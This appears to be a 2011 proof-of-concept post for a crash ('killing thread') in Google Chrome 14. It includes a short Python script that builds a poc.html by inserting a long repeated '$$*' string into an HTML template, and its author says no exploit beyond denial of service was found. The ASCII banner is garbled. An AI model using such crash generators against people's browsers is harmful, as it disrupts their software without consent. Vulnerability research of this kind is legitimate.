Google Chrome – Killing Thread (PoC)

## _(<code>-')_ pigtail23 (</code>-') (<code>-')_ _ www.remoteshell.de ##

## \-.(OO ) (_).-> ( OO).->(OO ).-/(_)<-.##

## _.'\ ,-(</code>-') ,---(<code>-')/'._/ ,---. ,-(</code>-'),--. ) .----..----.##

##(_...--'' | ( OO)'.-(OO )|'--...__)| \ /<code>.\| ( OO)|(</code>-')\_,-.|\_.-,| ##

##||_.' | ||)|| .-, <code>--..--''-'|_.' | ||)||OO ) .' .'|_<##

##|.___.'(||_/ || '.(_/ ||(|.-.|(||_/(|'__ | .'/_ .-. \| ##

##||||'->|'-'||| || || ||'->| |'||\ </code>-'/ ##

##<code>--'</code>--'<code>-----' </code>--' <code>--' </code>--' <code>--' </code>-----' <code>------' </code>---''##

###################################################################################

October 22, 2011

Ohh nice! What u doing google? Thx 4 ur bug! 0__o

Google Chrome PoC, killing thread. Exploitable or only a DOS!? Found no way to exploit it. Good Luck!!!

Testsystem: WinXP SP3, Win7(64 bit)

Google Chrome version: 14.0.835.202

Greetings to:

mr_insecure, myownremote, noptrix, Eph, lnxg33k, CyberMaN,...

TheXero, Dexter, #back-track.de and #intern0t @ irc.freenode.net

###################################################################################

poc.html:

too big!

###################################################################################

Python script for debugging:

#!/usr/bin/python

filename = 'poc.html'

content = open('template.html', 'r').read()

buff = '$$*' * 36800

rc = 484

content2 = content[:rc] + buff + content[rc:]

FILE = open(filename,"w")

FILE.write(content2)

FILE.close()

###################################################################################

template.html:

<html>

<body>

</body>

</html>